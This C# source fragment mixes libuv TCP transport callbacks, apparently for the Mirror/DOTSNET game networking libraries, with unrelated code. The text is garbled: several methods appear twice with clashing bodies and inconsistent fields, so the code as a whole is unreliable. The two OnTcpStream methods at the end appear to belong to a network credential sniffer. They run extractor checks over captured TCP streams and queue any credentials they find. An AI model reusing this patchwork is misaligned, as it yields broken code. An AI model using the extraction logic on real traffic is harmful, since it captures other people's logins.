// server callbacks ////////////////////////////////////////////////////
void OnLibuvServerConnected(TcpStream handle, Exception error)
{
// setup callbacks for the new connection
handle.onMessage = OnLibuvServerMessage;
handle.onError = OnLibuvServerError;
handle.onClosed = OnLibuvServerClosed;
// close if errors (AFTER setting up onClosed callback!)
if (error != null)
{
Debug.Log($"libuv sv: client connection failed {error}");
handle.Dispose();
return;
}
// assign a connectionId via UserToken.
// this is better than using handle.InternalHandle.ToInt32() because
// the InternalHandle isn't available in OnLibuvClosed anymore.
handle.UserToken = nextConnectionId++;
connections[(int)handle.UserToken] = handle;
Debug.Log("libuv sv: client connected with connectionId=" + (int)handle.UserToken);
// dotsnet event
OnServerConnected.Invoke((int)handle.UserToken);
}
/// <summary>
/// Callback when connection has closed.
/// </summary>
/// <param name="handle">The stream handle in which closed connection to.</param>
private void OnLibuvClientClosed(TcpStream handle)
{
Libuv2kNGLogger.Log("libuv client callback: closed connection");
handle.Dispose();
// set client to null so we can't send to an old reference anymore
_client = null;
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
ssl?.Dispose();
transport.Dispose();
}
base.Dispose(disposing);
}
public override void ServerStop()
{
if (server != null)
{
server.Dispose();
server = null;
connections.Clear();
Debug.Log("libuv sv: TCP stopped!");
}
}
private void Dispose(bool disposing)
{
if (!disposing)
{
return;
}
_timer?.Dispose();
TcpClient?.Dispose();
TcpStream?.Dispose();
Disconnect();
}
// OnClosed is called after we closed the stream
void OnLibuvClientClosed(TcpStream handle)
{
Debug.Log("libuv cl: closed connection");
handle.Dispose();
// set client to null so we can't send to an old reference anymore
client = null;
// Mirror event
OnClientDisconnected.Invoke();
}
/// <summary>
/// Shut down the server.
/// </summary>
public void Shutdown()
{
if (_server != null)
{
_cancellationToken.Cancel();
_server?.Dispose();
_server = null;
Libuv2kNGLogger.Log("libuv server: TCP stopped!");
_serverLoop?.Dispose();
}
}
void OnLibuvServerClosed(TcpStream handle)
{
Debug.Log($"libuv sv: closed client {handle}");
// important: remove the connection BEFORE calling the DOTSNET event
// otherwise DOTSNET OnDisconnected Unspawn might try to send to a
// disposed connection which we didn't remove yet. do it first.
connections.Remove((int)handle.UserToken);
handle.Dispose();
// Mirror event
OnServerDisconnected.Invoke((int)handle.UserToken);
}
// client callbacks ////////////////////////////////////////////////////
void OnLibuvClientConnected(TcpStream handle, Exception exception)
{
// close if errors (AFTER setting up onClosed callback!)
if (exception != null)
{
Debug.Log($"libuv cl: client error {exception}");
handle.Dispose();
return;
}
// Mirror event
OnClientConnected.Invoke();
Debug.Log($"libuv cl: client connected.");
}
/// <summary>
/// Queue up connections that are trying to connect.
/// </summary>
/// <param name="handle">The stream which is trying to connect to server.</param>
/// <param name="error"></param>
private void OnLibuvServerConnected(TcpStream handle, Exception error)
{
Libuv2kNGLogger.Log("libuv server: client connected =" + handle.GetPeerEndPoint().Address);
// close if errors (AFTER setting up onClosed callback!)
if (error != null)
{
Libuv2kNGLogger.Log($"libuv server: client connection failed {error}");
handle.Dispose();
return;
}
var newClient = new Libuv2kConnection(true, handle);
_transport.Connected.Invoke(newClient);
}
/// <summary>
/// Receive call back when we finally connect to a server.
/// </summary>
/// <param name="handle">The stream handle we used to connect with server with.</param>
/// <param name="error">If there were any errors during connection.</param>
private void ConnectedAction(TcpStream handle, Exception error)
{
handle.onMessage = OnLibuvClientMessage;
handle.onError = OnLibuvClientError;
handle.onClosed = OnLibuvClientClosed;
// close if errors (AFTER setting up onClosed callback!)
if (error != null)
{
Libuv2kNGLogger.Log($"libuv client callback: client error {error}", LogType.Error);
handle.Dispose();
return;
}
_connectedComplete.TrySetResult();
}
/// <summary>
/// Disconnect this connection
/// </summary>
public void Disconnect()
{
Libuv2kNGLogger.Log("libuv client: closed connection");
_cancellationToken.Cancel();
_connectedComplete?.TrySetCanceled();
_client?.Dispose();
while (_queuedIncomingData.TryDequeue(out _))
{
// do nothing
}
while (_queueOutgoingData.TryDequeue(out _))
{
// do nothing
}
_clientLoop?.Dispose();
}
public void OnTcpStream(object sender, TcpStream stream, bool isNew, ConcurrentQueue <object> queue)
{
if (isNew)
{
hay++;
}
if (stream == null || stream.Count == 0)
{
return;
}
if (stream.Variables == null)
{
stream.Variables = new ExpandoObject();
stream.Variables.Valid = new bool[] { true, true, true };
}
// Check
bool some = false;
try
{
for (int x = stream.Variables.Valid.Length - 1; x >= 0; x--)
{
if (!stream.Variables.Valid[x])
{
continue;
}
object[] cred;
switch (_Checks[x].GetObjects(stream, out cred))
{
case EExtractorReturn.DontRetry:
{
stream.Variables.Valid[x] = false;
break;
}
case EExtractorReturn.Retry: some = true; break;
case EExtractorReturn.True:
{
stream.Dispose();
foreach (object c in cred)
{
queue.Enqueue(c);
}
return;
}
}
}
}
catch (Exception e)
{
WriteError(e.ToString());
}
if (!some)
{
stream.Dispose();
}
}
/// <summary>
/// Callback for any errors that occur on the connection.
/// </summary>
/// <param name="handle">The stream handle we used to connect with server with.</param>
/// <param name="error">The error that occurred on the connection.</param>
private void OnLibuvClientError(TcpStream handle, Exception error)
{
Libuv2kNGLogger.Log($"libuv client callback: read error {error}", LogType.Error);
handle.Dispose();
}
public override void ClientDisconnect()
{
client?.Dispose();
client = null;
}
public void OnTcpStream(object sender, TcpStream stream, bool isNew, ConcurrentQueue <object> queue)
{
if (stream == null || stream.Count == 0)
{
return;
}
if (stream.Variables == null)
{
stream.Variables = new ExpandoObject();
stream.Variables.Valid = new bool[] { true, true, true };
}
// Check
bool some = false;
try
{
for (int x = stream.Variables.Valid.Length - 1; x >= 0; x--)
{
if (!stream.Variables.Valid[x])
{
continue;
}
Credential[] cred;
switch (_Checks[x].GetCredentials(stream, out cred))
{
case EExtractorReturn.DontRetry:
{
stream.Variables.Valid[x] = false;
break;
}
case EExtractorReturn.Retry: some = true; break;
case EExtractorReturn.True:
{
stream.Dispose();
foreach (Credential c in cred)
{
// Prevent reiteration
string json = c.ToString(), last;
if (_LastCred.TryGetValue(c.Type, out last) && last == json)
{
continue;
}
_LastCred[c.Type] = json;
queue.Enqueue(c);
}
return;
}
}
}
}
catch (Exception e)
{
WriteError(e.ToString());
}
if (!some)
{
stream.Dispose();
}
}
